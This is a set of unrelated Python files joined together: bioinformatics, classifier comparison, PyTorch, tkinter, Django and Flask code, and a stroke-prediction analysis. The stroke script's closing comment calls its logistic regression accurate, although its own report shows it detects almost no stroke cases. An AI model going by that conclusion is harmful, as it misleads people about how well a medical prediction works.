                    detect = False
            else:
                if detect:
                    if row[2] == "sRNA":
                        srna_total += 1
                        sh = open(args.srna_file, "r")
                        for r in csv.reader(sh, delimiter='\t'):
                            if (r[3] == row[3]) and (
                                r[4] == row[4]) and (
                                r[5] == row[6]):
                                srnas = r[-4].split(";")
                                if srnas[0] == "NA":
                                    name = "novel_sRNA"
                                else:
                                    name = r[2]
#                                    for srna in srnas:
#                                        name = srna.split("|")[-2]
                                break
                        if name not in stats.keys():
                            stats[name] = {"member": [r[3] + "-" + r[4] + "_" + r[5]], "num": 1}
                        else:
                            stats[name]["member"].append(r[3] + "-" + r[4] + "_" + r[5])
                            stats[name]["num"] += 1
        for name, datas in stats.items():
            print("\t".join([group, name, "NA", "sRNA", "NA",
                             str(srna_total), str(datas["num"]), ", ".join(datas["member"]), ", ".join(datas["member"])]))

if __name__ == "__main__":
    main()


import sys
from pandas import read_csv
import numpy as np
import matplotlib.pyplot as plt

from sklearn.model_selection import train_test_split, cross_validate, cross_val_score, GridSearchCV
from sklearn.metrics import classification_report, f1_score, accuracy_score
from sklearn.linear_model import LogisticRegression
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn import svm, tree

def classify(type, clf, X_train, y_train, X_test, y_test):
	print("##########################")
	print("{}".format(type))
	print("##########################")

	# fit
	clf.fit(X_train, y_train)

	print("Best parameters set found on trainig set:")
	print(clf.best_params_)
	best_score = clf.best_score_

	# Test on test set
	y_true, y_pred = y_test, clf.predict(X_test)
	# report = classification_report(y_true, y_pred)
	# print(report)
	test_score = accuracy_score(y_true, y_pred)

	print("{},{},{}\n".format(type, best_score, test_score))

def make_meshgrid(x, y, h=.02):
    """Create a mesh of points to plot in

    Parameters
    ----------
    x: data to base x-axis meshgrid on
    y: data to base y-axis meshgrid on
    h: stepsize for meshgrid, optional

    Returns
    -------
    xx, yy : ndarray
    """
    x_min, x_max = x.min() - 1, x.max() + 1
    y_min, y_max = y.min() - 1, y.max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))
    return xx, yy

def plot_contours(ax, clf, xx, yy, **params):
    """Plot the decision boundaries for a classifier.

    Parameters
    ----------
    ax: matplotlib axes object
    clf: a classifier
    xx: meshgrid ndarray
    yy: meshgrid ndarray
    params: dictionary of params to pass to contourf, optional
    """
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)
    out = ax.contourf(xx, yy, Z, **params)
    return out

if __name__ == '__main__':

	fin = sys.argv[1]
	fout = sys.argv[2]

	df = read_csv(fin)

	# Split data into test, train sets
	X_train, X_test, y_train, y_test = train_test_split(df[['A','B']].values, df['label'].values, test_size=0.4, stratify=df['label'].values)

	# Visualize test, train sets
	# fig, ax = plt.subplots()
	# ax.scatter(X_train[:,0], X_train[:,1], c=y_train)
	# plt.title('Training Set')
	# plt.show()

	# fig, ax = plt.subplots()
	# ax.scatter(X_test[:,0], X_test[:,1], c=y_test)
	# plt.title('Test Set')
	# plt.show()

	models = []
	#################################
	# SVM with Linear Kernel
	#################################
	param_grid = [
		{'C': [0.1, 0.5, 1, 5, 10, 50, 100], 'kernel': ['linear']}
	]
	clf = GridSearchCV(svm.SVC(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("svm_linear", clf, X_train, y_train, X_test, y_test)

	#################################
	# SVM with Polynomial Kernel
	#################################
	param_grid = [
		{'C': [0.1, 1, 3], 'kernel': ['poly'], 'degree':[4,5,6], 'gamma': [0.1,0.5]}
	]

	clf = GridSearchCV(svm.SVC(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("svm_polynomial", clf, X_train, y_train, X_test, y_test)

	#################################
	# SVM with RBF Kernel
	#################################
	param_grid = [
		{'C': [0.1, 0.5, 1, 5, 10, 50, 100], 'gamma': [0.1, 0.5, 1, 3, 6, 10], 'kernel': ['rbf']}
	]
	clf = GridSearchCV(svm.SVC(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("svm_rbf", clf, X_train, y_train, X_test, y_test)

	########################
	# LOGISTIC REGRESSION
	########################
	param_grid = [
		{'C': [0.1, 0.5, 1, 5, 10, 50, 100]}
	]

	clf = GridSearchCV(LogisticRegression(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("logistic", clf, X_train, y_train, X_test, y_test)

	########################
	# k-Nearest Neighbors
	########################
	param_grid = [
		{'n_neighbors': np.arange(1,51,1), 'leaf_size': np.arange(5,65,5)}
	]
	clf = GridSearchCV(KNeighborsClassifier(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("knn", clf, X_train, y_train, X_test, y_test)

	########################
	# Decision Tree
	########################
	param_grid = [
		{'max_depth': np.arange(1,51,1), 'min_samples_split': np.arange(2,11,1)}
	]

	clf = GridSearchCV(tree.DecisionTreeClassifier(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("decision_tree", clf, X_train, y_train, X_test, y_test)

	########################
	# Random Forest
	########################
	param_grid = [
		{'max_depth': np.arange(1,51,1), 'min_samples_split': np.arange(2,11,1)}
	]

	clf = GridSearchCV(RandomForestClassifier(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("random_forest", clf, X_train, y_train, X_test, y_test)

	########################
	# FIT!
	########################

	models = (clf.fit(X_train, y_train) for clf in models)

	# title for the plots
	titles = ('SVM with Linear Kernel',
	          'SVM with Polynomial Kernel',
	          'SVM with RBF Kernel',
	          'Logistic Regression',
	          'k-Nearest Neighbors',
	          'Decision Trees',
	          'Random Forest')

	# Set-up 2x2 grid for plotting.
	fig, sub = plt.subplots(2, 4)
	plt.subplots_adjust(wspace=0.4, hspace=0.4)

	X0, X1 = X_train[:, 0], X_train[:, 1]
	xx, yy = make_meshgrid(X0, X1)

	f = open(fout, 'w')
	for clf, title, ax in zip(models, titles, sub.flatten()):

		print(title)
		print(clf.best_params_)
		best_score = clf.best_score_
		y_true, y_pred = y_test, clf.predict(X_test)
		test_score = accuracy_score(y_true, y_pred)

		print("{},{},{}\n".format(title, best_score, test_score))
		f.write("{},{},{}\n".format(title, best_score, test_score))

		plot_contours(ax, clf, xx, yy, cmap=plt.cm.coolwarm, alpha=0.8)
		ax.scatter(X0, X1, c=y_train, cmap=plt.cm.coolwarm, s=20, edgecolors='k')
		ax.set_xlim(xx.min(), xx.max())
		ax.set_ylim(yy.min(), yy.max())
		ax.set_xlabel('x1')
		ax.set_ylabel('x2')
		ax.set_xticks(())
		ax.set_yticks(())
		ax.set_title(title)

	f.close()
	plt.show()


import torch
from torch import nn
from loss import NLLLoss
from torch.autograd import Variable

class AdaptiveDSoftmaxWithLoss(nn.Module):
    def __init__(self, hidden_size, partition_dim, cutoffs=13867, vocab_num=1289627):
        super(AdaptiveDSoftmaxWithLoss, self).__init__()
        self.partition1 = nn.Linear(partition_dim, cutoffs + 1)
        self.partition2 = nn.Linear(hidden_size - partition_dim, vocab_num)
        self.nll_loss = NLLLoss()
        self.softmax = nn.Softmax(dim=1)
        self.cutoffs = cutoffs
        self.partition_dim = partition_dim

    def forward(self, x, target):
        x = Variable(x.float(), requires_grad=True)
        x = torch.index_select(x, 1, torch.cuda.LongTensor(list(range(self.partition_dim))))
        x = self.partition1(x)
        x = self.softmax(x)
        yt = self.one_hot(target, self.cutoffs).cuda()
        loss = self.nll_loss(x, yt)
        return loss

    def one_hot(self, x, max_index):
        max_vals = torch.cuda.LongTensor([max_index] * x.size(0))
        x = torch.where(x <= max_index, x, max_vals)
        return torch.zeros(x.size(0), max_index + 1).cuda().scatter_(1, x.view(-1, 1), 1.0)


import tkinter

# Controller
def click(var, value):
	var.set(var.get() + value)

if __name__ == '__main__':
	window = tkinter.Tk()

	# Model
	counter = tkinter.IntVar()
	counter.set(0)

	# Views
	frame = tkinter.Frame(window)
	frame.pack()

	button = tkinter.Button(frame, text = 'Increment', command = lambda: click(counter, 1))
	button.pack()

	button = tkinter.Button(frame, text = 'Decrement', command = lambda: click(counter, -1))
	button.pack()

	label = tkinter.Label(frame, textvariable = counter)
	label.pack()

	# Start the machinery
	window.mainloop()


"""erteterter URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.conf.urls import url
from segmentation_app import views
from django.conf.urls.static import static
from django.conf import settings

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^$', views.home, name='home'),
    url(r'^segmentation/', views.segmentation, name='segmentation'),
    url(r'^tracking/', views.tracking, name='tracking'),
    url(r'^mst/', views.mst, name='mst'),
    url(r'^mst_additional/', views.mst_additional, name='mst_additional'),
    url(r'^two_cc/', views.two_cc, name='two_cc'),
    url(r'^ngc/', views.ngc, name='ngc'),
    url(r'^interactive/', views.interactive, name='interactive'),
    url(r'^choose_alg/', views.choose_alg, name='choose_alg'),
    url(r'^algorithms_desc/', views.algorithms_desc, name='algorithms_desc'),
    url(r'^mst_desc/', views.mst_desc, name='mst_desc'),
    url(r'^gft_desc/', views.gft_desc, name='gft_desc'),
    url(r'^ngc_desc/', views.ngc_desc, name='ngc_desc'),
    url(r'^two_cc_desc/', views.two_cc_desc, name='two_cc_desc'),
    url(r'^interactive_desc/', views.interactive_desc, name='interactive_desc'),
    url(r'^save_mst/', views.save_mst, name='save_mst'),
    url(r'^save_ngc/', views.save_ngc, name='save_ngc'),
    url(r'^save_two_cc/', views.save_two_cc, name='save_two_cc'),
    url(r'^save_interactive/', views.save_interactive, name='save_interactive'),
    url(r'^save_video/', views.save_video, name='save_video'),
    url(r'^load_segmentation/', views.load_segmentation, name='load_segmentation'),
    url(r'^load_tracking/', views.load_tracking, name='load_tracking'),
    url(r'^choose_alg_tracking/', views.choose_alg_tracking, name='choose_alg_tracking'),
    url(r'^multi_tracking_desc/', views.multi_tracking_desc, name='multi_tracking_desc'),
    # url(r'^two_cc_track/', views.two_cc_track, name='two_cc_track'),
    # url(r'^mst_track/', views.mst_track, name='mst_track'),
    # url(r'^ngc_track/', views.ngc_track, name='ngc_track'),
    # url(r'^simple_tr_track/', views.simple_tr_track, name='simple_tr_track'),
]

urlpatterns+=static(settings.STATIC_URL,document_root=settings.STATIC_ROOT)
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


## Analyzing stroke prediction data set. Different visualization methods used to get insights
## to the dataset and logisticregression model used to predict strokes on patients
## Author : Mehrnaz Sadroleslami
## Date : Aug 4th, 2023
## DataSet : https://www.kaggle.com/datasets/fedesoriano/stroke-prediction-dataset

import pandas as pd
import matplotlib.pyplot as pyplt
from scipy import stats
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import  accuracy_score,classification_report
from sklearn.preprocessing import LabelEncoder

df = pd.read_csv("healthcare-dataset-stroke-data.csv")

#let's get some information about the data
pd.set_option('display.max_columns', None)
# print (df.describe());
# print (df.info)
# print (df.dtypes)

#clean the data
df.dropna(inplace = True)
# print (df.isnull().sum())

# I want to check the outliers
selected_cols = ['bmi','avg_glucose_level','age']
colors = ['tab:red','tab:green','tab:pink','tab:blue']
pyplt.figure(figsize=(12,6))
for i, col in enumerate(selected_cols, 1):
    pyplt.subplot(1, 3, i)
    pyplt.boxplot(df[col],vert=True,patch_artist=True)
    pyplt.title(f'Box plot of {col}')
    pyplt.ylabel('Values')

pyplt.show();
#refer to  PATH = ("figure_1_3.png") for the plot.

#now it's obvious that we need to get rid of outliers. Now the shape of the data
#before removing the outliers is as folows
pyplt.figure(figsize=(16,6))
for i, col in enumerate(selected_cols,1):
    pyplt.subplot(1,3,i)
    pyplt.hist(df[col], bins=100, color = colors[i])
    pyplt.ylabel('Value')
    pyplt.title(f'Distribution of {col} before removing the outliers')
pyplt.tight_layout()
pyplt.show();

#refer to  PATH = ("figure_2_3.png") for the plot.

#removing the outliers using the z method
df_no_outliers = df.copy();
for col in selected_cols:
   z_score = np.abs(stats.zscore(df[col]))
   df_no_outliers[col] = np.where(z_score < 3, df_no_outliers[col] , np.nan)

#now it's obvious that we need to get rid of outliers. Now the shape of the data
#before removing the outliers is as folows
pyplt.figure(figsize=(16,6))
for i, col in enumerate(selected_cols,1):
    pyplt.subplot(1,3,i)
    pyplt.hist(df_no_outliers[col], bins=100, color = colors[i])
    pyplt.ylabel('Value')
    pyplt.title(f'Distribution of {col} after removing the outliers')
pyplt.tight_layout();
pyplt.show();

#refer to  PATH = ("figure_3_3.png") for the plot.
#
#
#
#some visualizaitons here under to better understand the data

fig, axes = pyplt.subplots(nrows=2, ncols=4, figsize=(15, 10))
axes = axes.flatten()
#pie chart to show the female to make ratio

female_count = df[ df['gender'] == 'Female'].shape[0]
male_count = df[df['gender'] == 'Male'].shape[0]
total_count = female_count + male_count
labels = ['Female','Male']
size = [(female_count/total_count), (male_count/total_count)]
colours = ['pink','lightgreen']
axes[0].pie (size,labels=labels,autopct='%1.1f%%',colors = colours,startangle=145)
axes[0].set_title('Gender of patients')

total = df['work_type'].value_counts()
size = total.values
labels = total.index
colors = ['lightcoral', 'lightblue', 'lightskyblue', 'lightgreen', 'pink']
axes[1].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[1].set_title('Work Type of Patients')

smoking_status = df['smoking_status'].value_counts()
labels = smoking_status.index
sizes = smoking_status.values
colors = ['lightcoral', 'lightblue','lightgreen']
axes[2].pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', startangle=145)
axes[2].set_title('Smoking Status of Patients')

total = df['heart_disease'].value_counts()
size = total.values
labels = ['No','Yes']
colors = ['lightcoral', 'lightblue']
axes[3].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[3].set_title('Heart disease history')

total = df['work_type'].value_counts()
size = total.values
labels = total.index
colors = ['lightcoral', 'lightblue', 'lightskyblue', 'lightgreen', 'pink']
axes[4].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[4].set_title('Work Type of Patients')

bmi_categories = ['Underweight', 'Normal Weight', 'Overweight', 'Obese']
bmi_thresholds = [18.5, 24.9, 29.9]
df['bmi_category'] = pd.cut(df['bmi'], bins=[0] + bmi_thresholds + [float('inf')], labels=bmi_categories)
total = df['bmi_category'].value_counts()
size = total.values
labels = total.index
colors = ['lightcoral', 'lightskyblue', 'lightgreen', 'pink']
axes[5].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[5].set_title('BMI categories')

married_counts = df['ever_married'].value_counts()
labels = married_counts.index
sizes = married_counts.values
colors = ['lightcoral', 'lightblue']
axes[6].pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', startangle=145)
axes[6].set_title('Marritual Status of Patients')

fig.delaxes(axes[7])
fig.suptitle('Stroke Data Visualizations', fontsize=10)
pyplt.tight_layout();
pyplt.show()

#refer to  PATH = ("figure_4_3.png") for the plot.

# here starts the machine learning part of this project !!
#let the fun start
print (df.columns)
label_encoder = LabelEncoder()
categorical_cols = ['gender', 'ever_married', 'work_type', 'Residence_type', 'smoking_status']
for col in categorical_cols:
    df[col] = label_encoder.fit_transform(df[col])

X = df.drop(['stroke','bmi_category'], axis=1)
y =df['stroke']

train_X,val_X,train_y,val_y = train_test_split(X,y,random_state=42)

model = LogisticRegression(random_state= 42)
model.fit(train_X,train_y)
y_prediction = model.predict(val_X)

accuracy = accuracy_score(val_y, y_prediction)
print("Accuracy of prediction with the logistic regression model is :", accuracy)
class_report = classification_report(val_y, y_prediction)
print("Classification Report:")
print (class_report)

#
#result:
#Accuracy of prediction with the logistic regression model is : 0.9495114006514658
#
# Classification Report:
#               precision    recall  f1-score   support

#            0       0.95      1.00      0.97      1165
#            1       1.00      0.02      0.03        63

#     accuracy                           0.95      1228
#    macro avg       0.97      0.51      0.50      1228
# weighted avg       0.95      0.95      0.93      1228
#
#
#
#
# you can see that the model is predicting the strokes on the patients based the on the
#given data with a high accuracy.


from slerp.app import app, run
from utils import TeachmeJsonEncoder
from api.task_api import task_api_blue_print
from api.task_group_api import task_group_api_blue_print
from api.health_api import health_api_blue_print
from messaging import TaskScoreConsumer
import sys
import time
from slerp.logger import logging

log = logging.getLogger(__name__)
app.json_encoder = TeachmeJsonEncoder
app.register_blueprint(task_api_blue_print)
app.register_blueprint(task_group_api_blue_print)
app.register_blueprint(health_api_blue_print)
tasks = []

@app.before_first_request
@app.route('/start')
def start():
    log.info("Start")
    if len(tasks) == 0:
        tasks.append(TaskScoreConsumer())
    for t in tasks:
        if not t.is_alive():
            t.start()
            return {'payload': True}
        else:
            return {'payload': 'Has been running before'}

@app.route('/stop')
def stop():
    log.info("Stop consumer")
    if len(tasks) == 0:
        return {'payload': 'Not running'}
    for t in tasks:
        if t is not None:
            t.stop()
            t.terminate()
    tasks.clear()
    return {'payload': True}

if __name__ == '__main__':
    try:
        run()
    except KeyboardInterrupt:
        print("Exit")
        time.sleep(10)
        for task in tasks:
            task.stop()
            task.join()
        sys.exit(0)